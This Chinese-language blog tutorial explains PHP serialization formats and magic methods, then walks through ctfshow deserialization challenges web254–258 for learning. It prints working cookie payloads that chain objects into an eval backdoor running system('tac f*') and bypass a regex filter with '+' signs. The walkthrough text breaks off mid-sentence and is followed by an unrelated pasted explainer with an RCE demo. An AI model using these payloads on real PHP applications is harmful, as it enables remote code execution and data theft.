php反序列化

php反序列化

一、序列化基础知识

1、序列化的作用

序列化(Serialization)是将对象的状态信息(属性)转换为可以存储或传输的形式的过程。

对象——————>字符串

将对象或者数组转换为可存储/运输的字符串

2、表达方式
<?php
$a = null;
echo serialize($a);
?>

所有格式第一位都是数据类型的英文字母简写。

空字符: null——————————>N;

整型: 666 ——————————>i:666;

浮点型: 66.6——————————>d:66.6;

Boolean型:true——————————>b:1;

false—————————>b:0;

字符串: 'benben'————————>s:6:"benben";

数组:
<?php
$a = array('benben','dazhaung','laoliu');
echo serialiaze($a);
?>

结果: aarray:3参数数量:{i:0数组编号:sstring类型:6字符串个数:"benben";i:1:s:8:"dazhuang";i:2:s:6:"laoliu"}

3、对象的序列化
<?php
class test{
   public $pub='benben';    //定义成员变量
   function jineng(){       //定义成员函数
      echo $this->pub;  
   }
}
$a = new test();
echo serialize($a);
?>

结果:Oobject:4类名长度:"test"类名:1变量数量:{s:3变量名字长度:"pub"变量名字;s:6值的长度:"benben"变量值;}

注意:不能序列化类;可以序列化对象

只序列化成员变量;不序列化成员函数

<?php
class test{
   private $pub='benben';    
   function jineng(){       
      echo $this->pub;  
   }
}
$a = new test();
echo serialize($a);
?>

结果:O:4:"test":1:{s:9:"testpub";s:6:"benben";}

我们发现private私有属性会在变量名字前面加上当前所在的类名。

但是我们注意到,"testpub"明明是七个字符,为什么结果显示的却是9呢?

这是因为private私有属性序列化时,在变量名前加“%00类名%00”,所以应该是7+2=9个。(当我们用url编码结果时就会发现test前后多了%00,即空字符)

<?php
class test{
   protected $pub='benben';    
   function jineng(){       
      echo $this->pub;  
   }
}
$a = new test();
echo serialize($a);
?>

结果:O:4:"test":1:{s:6:"*pub";s:6:"benben";}

protected受保护属性序列化时,在变量名前加%00*%00

<?php
class test{
    var $pub='benben';
    function jineng(){
       echo $this->pub;
    }
}
class test2{
    var $ben;
}
$b = new test();
$a = new test2();
$a->ben = $b;
echo serialize($a);
?>

结果:O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}}

实例化后的对象$a的成员变量'ben'调用实例化后的对象$b

二、反序列化特性

1、反序列化之后的内容为一个对象。

2、反序列化生成的对象里的值,由反序列化里的值提供,与原有类预定义的值无关。

3、反序列化不触发类的成员方法(成员函数)(魔术方法除外),需要调用方法后才能触发。

三、魔术方法的构造和解析

__construct()            类的构建函数
__destruct()             类的析构函数
__call()                 在对象中调用一个不可以访问方法时调用
__callStatic()           用静态方式中调用一个不可以访问方法时调用
__get()                  获得一个类的成员变量时调用
__isset()                当对不可访问属性调用isset()或empyt()时调用
__set()                  设置一个类的成员变量时调用
__unset()                当对不可访问属性调用unset()时被调用
__sleep()                执行serialize()时,先会调用这个函数
__wakeup()               执行unserialize()时,会先调用这个函数
__toString()             类被当成字符串时的回应方法
__invoke()               调用函数的方式调用一个对象时的回应方法
__set_state()            调用var_export()导出类时,此静态方法被调用
__clone()                当对象复制完成时调用
__autoload()             尝试加载未定义的类
__debuginfo()            打印所需调式信息

1、什么是魔术方法

一个预定义好的,在特定情况下自动触发的行为方法。

2、魔术方法的作用

反序列化漏洞的成因:

反序列化的过程中,unserialize()接收的值(字符串)可控;

通过更改这个值(字符串),得到所需要的代码

通过调用方法,触发代码执行。

魔术方法的作用就是在特定条件下自动调用相关方法,最终导致触发代码

3、魔术方法相关机制

1、触发机制(动作不同,触发的魔术方法也不同)

2、功能

3、参数(一些特殊魔术方法会传参)

4、返回值

ctfshow-web入门-反序列化

web-254
代码
<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        if($this->username===$u&&$this->password===$p){
            $this->isVip=true;
        }
        return $this->isVip;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = new ctfShowUser();
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 
分析

本关并不涉及魔术方法,也没有涉及反序列化的字符,就是单纯的了解一下代码流程,为之后的反序列化代码分析打下基础。

首先构造了三个方法(成员函数)checkVip、login、vipOneKeyGetFlag;

之后定义了两个GET参数:uesrname和password;

再之后实例化了user这个类,并且进入if判断中:如果user执行login函数并且返回true,那么uesr就再执行checkVip这个函数,如果返回值还是true,则再执行vipOneKeyGetFlag函数。

看vipOneKeyGetFlag函数的具体内容我们就可以知道这是输出flag的函数,所以本题我们要使这三个判断都为true即可。

而ctfShowUser这个类最开始便定义了username和password这两个变量的值为'xxxxxx',所以本题答案即为

GET: ?username=xxxxxx&password=xxxxxx

web-255
代码
<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            echo "your flag is ".$flag;
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
}
​
分析

本关的代码与上一关很相似,不过有两处不同。

第一处区别是login函数中少了一步将isVip由false变成true的操作;

第二处区别是对user类Cookie参数进行了反序列化。

通过上一关的分析我们可以知道,只有当if判断的返回值都为true时,我们才能得到flag,但是本关中isVip恒为false,并且login函数无法再将isVip更改为ture,所以我们要想得到flag就必须将false改为true。

其次代码中是直接将user类的Cookie传参进行反序列化的,但代码之前并没有先将类进行序列化,所以反序列化之后无法得到正确的类,因此我们应该先将Cookie进行序列化,之后再反序列化,这样才能得到正确的类。

(要注意的是,对Cookie进行序列化时要先进行url编码。因为对于 Cookie,由于它经常用于存储用户会话信息等,而这些信息可能包含各种字符,包括一些在 URL 中有特殊含义的字符,比如空格、等号等。如果不对这些特殊字符进行编码,就有可能导致 URL 解析出错,从而影响到服务器端对 Cookie 的正确处理。)

综上,我们可以将代码复制到php文档,将isVip由false改为true,同时echo经过url编码和序列化的Cookie。

<?php
 
 
 
class ctfShowUser{
 
    public $username='xxxxxx';
 
    public $password='xxxxxx';
 
    public $isVip=ture;
 
}
 
$a=serialize(new ctfShowUser());
 
echo urlencode($a);

运行之后得到url编码。

之后输入Cookie和GET传参即可

GET: ?username=xxxxxx&password=xxxxxx
cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

web-256
代码
<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 19:29:02
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
include('flag.php');
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
​
    public function checkVip(){
        return $this->isVip;
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function vipOneKeyGetFlag(){
        if($this->isVip){
            global $flag;
            if($this->username!==$this->password){
                    echo "your flag is ".$flag;
              }
        }else{
            echo "no vip, no flag";
        }
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);    
    if($user->login($username,$password)){
        if($user->checkVip()){
            $user->vipOneKeyGetFlag();
        }
    }else{
        echo "no vip,no flag";
    }
} 
分析

本关代码和上关基本一致,只有vipOneKeyGetFlag函数多了一步if判断。

如果username和password不相等,才会输出flag。

所以我们只需要让GET传入的username和password值不同就可以了。

(注意:由于username或password的值改变,所以php文件中的值也要修改,不然运行得到的Cookie是错误的,血与泪的教训。)

GET: ?username=xxxxxx&password=xxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22xxx%22%3Bs%3A5%3A%22isVip%22%3Bs%3A4%3A%22ture%22%3B%7D

web-257
代码
<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 20:33:07
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    private $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    private $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    $user = unserialize($_COOKIE['user']);
    $user->login($username,$password);
}
分析

本题相对于上几关来说难了一些,因为这次有了魔术方法。

我们先来观察代码有什么变化:

在ctfShowUser类中,多了一个名为class的属性,并且构造了__construct___destruct两个魔术方法;

其次构造了两个新的类infobaackDoor

我们首先来分析新构造的两个类:

info类中定义了一个名为user的属性,并且它的值为xxxxxx;之后定义了一个成员方法getInfo(),它会返回user的值。

backDoor类中定义了一个名为code的属性;之后也定义了一个成员方法getInfo(),但是它含有eval()函数,会将code的值当作一个php代码来执行。

接下来我们来分析ctfShowUser类:

当新创建(new)类时,会执行__construct函数,从而新建一个info()类,并将其实例赋值给class;

当没有任何变量或引用指向一个对象时,该对象就会被销毁,这时就会执行__destruct函数,从而执行 info 类中的 getInfo() 方法,并返回其结果。

通过分析我们可以知道,本题的关键点在于backDoor类中的eval()函数,而执行eval()函数要先执行getInfo()方法,而执行getInfo()方法必须先创建backDoor类。而我们发现这一套流程正好与__construct__destruct这两个魔术方法的内容吻合。

根据这一思路,我们只要将__construct中新建的类由info改为backDoor,之后给backDoor类中的code赋值为php代码即可。

<?php
class ctfShowUser{
    private $username='xxxxxx';
    private $password='xxxxxx';
    private $isVip=false;
    private $class = 'info';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class backDoor{
    private $code="system('tac f*');";
    public function getInfo(){
        eval($this->code);
    }
}
​
echo urlencode(serialize(new ctfShowUser()));

得到url编码

构造payload

GET: ?username=xxxxxx&password=xxxxxx
Cookie: user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

(这里有一个问题就是如果我使用"cat f*"得到的url编码是无法得到flag的,但是换成tac就可以,不知道为什么)

web-258
代码
<?php
​
/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-12-02 17:44:47
# @Last Modified by:   h1xa
# @Last Modified time: 2020-12-02 21:38:56
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
​
*/
​
error_reporting(0);
highlight_file(__FILE__);
​
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
​
    public function __construct(){
        $this->class=new info();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    public $code;
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
分析

本关代码与上一关基本一致,只有最后多了一步if判断。

if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user']))

这段代码使用了正则表达式来检查 $_COOKIE['user'] 中是否包含类似 [字母]:数字: 这样的字符串,其中 [字母]oc[数字] 是一个或多个数字。

具体来说,正则表达式 /[oc]:\d+:/i 的含义如下:

  • [oc]:匹配字符集中的任何一个字符,其中包括 oc

  • ::匹配一个冒号字符。

  • \d+:匹配一个或多个数字。

  • ::再次匹配一个冒号字符。

  • /i:表示执行不区分大小写的匹配。

因此,这个正则表达式会匹配形式为 [字母]:数字: 的字符串,其中 [字母]oc,而 [数字] 是一个或多个数字。

通过这段代码,如果 $_COOKIE['user'] 中包含形如 [字母]:数字: 的字符串,则 preg_match() 函数将返回 true,否则返回 false。

因此本关只需要我们进行正则绕过,剩下的参考上一关即可。

我们先看一看序列化内容是什么:

<?php
class ctfShowUser{
    public $username='xxxxxx';
    public $password='xxxxxx';
    public $isVip=false;
    public $class = 'info';
​
    public function __construct(){
        $this->class=new backDoor();
    }
    public function login($u,$p){
        return $this->username===$u&&$this->password===$p;
    }
    public function __destruct(){
        $this->class->getInfo();
    }
​
}
​
class info{
    public $user='xxxxxx';
    public function getInfo(){
        return $this->user;
    }
}
​
class backDoor{
    public $code="system('tac f*');";    
    public function getInfo(){
        eval($this->code);
    }
}
​
$username=$_GET['username'];
$password=$_GET['password'];
​
if(isset($username) && isset($password)){
    if(!preg_match('/[oc]:\d+:/i', $_COOKIE['user'])){
        $user = unserialize($_COOKIE['user']);
    }
    $user->login($username,$password);
}
​
$a = serialize(new ctfShowUser());
echo $a;

得到序列化后的内容:

O:11:"ctfShowUser":4:{s:8:"username";s:6:"xxxxxx";s:8:"password";s:6:"xxxxxx";s:5:"isVip";b:0;s:5:"class";O:4:"info":1:{s:4:"user";s:6:"xxxxxx";}}

其中有两处需要修改:O:11:和s:8:

因此我们在代码最后加上

$a = serialize(new ctfShowUser());
$b = str_replace(':11', ':+11', $a);
$c = str_replace(':8', ':+8', $b);
echo urlencode($c);

得到url编码

从而构造payloda:

GET: ?username=xxxxxx&password=xxxxxx
Cooike: user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A%2B8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A%2B8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A17%3A%22system%28%27tac+f%2A%27%29%3B%22%3B%7D%7D

至于为什么添加加号可以正常序列化,php处理反序列化的函数的c源码可以解释:

### PHP反序列化的基本使用方法 PHP中的序列化(`serialize()`)和反序列化(`d`eserialize())是用于将对象、数组等复杂数据结构转换为字符串以便存储或传输的机制。例如,一个对象可以通过 `serialize()` 转换为字符串形式,便于保存到数据库或会话文件中;当需要恢复该对象时,可以使用 `unserialize()` 将其还原为原始对象状态。 ```php class Example { public $data = "test"; } // 序列化对象 $obj = new Example(); $serialized = serialize($obj); // 输出: O:7:"Example":1:{s:4:"data";s:4:"test";} echo $serialized . "\n"; // 反序列化对象 $unserialized = unserialize($serialized); echo $unserialized->data; // 输出: test ``` ### PHP反序列化的原理 PHP在执行反序列化操作时,会根据字符串格式重建原始变量结构。序列化字符串中包含了类名、属性名及其值等信息。如果反序列化的数据被攻击者篡改,则可能触发某些危险的“魔术方法”(如 `__construct()`、`__destruct()`、`__wakeup()` 等),从而导致代码执行或其他恶意行为[^2]。 反序列化漏洞的核心在于:开发者没有对用户输入的数据进行严格的过滤和验证,而直接将其作为参数传递给 `unserialize()` 函数。攻击者通过构造恶意输入,可以在反序列化过程中触发特定类的方法调用,进而实现任意代码执行或敏感信息泄露的目的[^3]。 ### PHP反序列化漏洞的常见利用方式 - **魔术方法触发**:攻击者通过构造特定的序列化字符串,使得在反序列化过程中自动调用某些魔术方法(如 `__wakeup()` 或 `__destruct()`)。这些方法内部若存在可被利用的功能(如文件操作、命令执行等),则可能导致严重后果[^1]。 - **POP链(Property Oriented Programming)**:这是一种高级利用技术,攻击者通过查找多个类之间的属性引用关系,构建出一条从入口点到目标函数的调用链路。即使没有直接暴露危险方法,也能通过间接方式达成攻击目的。 ### PHP反序列化漏洞的危害 PHP反序列化漏洞可能导致多种安全问题: - **远程代码执行(RCE)**:攻击者可通过构造恶意输入,在服务器上执行任意命令,获取系统控制权。 - **会话劫持**:由于PHP的session机制依赖于序列化/反序列化操作,因此攻击者可能伪造会话内容,冒充合法用户访问系统。 - **数据篡改与泄露**:攻击者可以修改反序列化后的对象属性,篡改业务逻辑,甚至读取数据库中的敏感信息。 ### 如何防止PHP反序列化漏洞 1. **避免反序列化不可信数据**:最根本的防护措施是不要对来自用户的输入执行 `unserialize()` 操作,除非绝对必要且已充分验证其安全性。 2. **使用 `json_encode()` 和 `json_decode()` 替代**:相较于 `serialize()` / `unserialize()`,JSON编码/解码更安全,因为它不涉及类实例化过程。 3. **白名单校验**:如果确实需要处理用户提供的序列化数据,应限制允许反序列化的类名,并确保只接受预期类型的对象。 4. **启用 `__wakeup()` 验证机制**:在关键类中定义 `__wakeup()` 方法,检查反序列化后的对象状态是否合法。 5. **更新框架与依赖库**:及时修补第三方组件中存在的已知反序列化漏洞,防止被攻击者利用。 ### 示例:简单的PHP反序列化漏洞演示 ```php class VulnerableClass { public $cmd = "echo 'Hello, World!';"; function __wakeup() { eval($this->cmd); // 危险操作:执行任意代码 } } // 攻击者构造恶意序列化字符串 $input = 'O:14:"VulnerableClass":1:{s:3:"cmd";s:13:"system("id");";}'; unserialize($input); // 触发 __wakeup(),执行 system("id") ``` 上述代码展示了攻击者如何通过精心构造的序列化字符串,使原本仅用于输出“Hello, World!”的对象执行了 `system("id")` 命令,从而实现了远程命令执行攻击[^1]。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值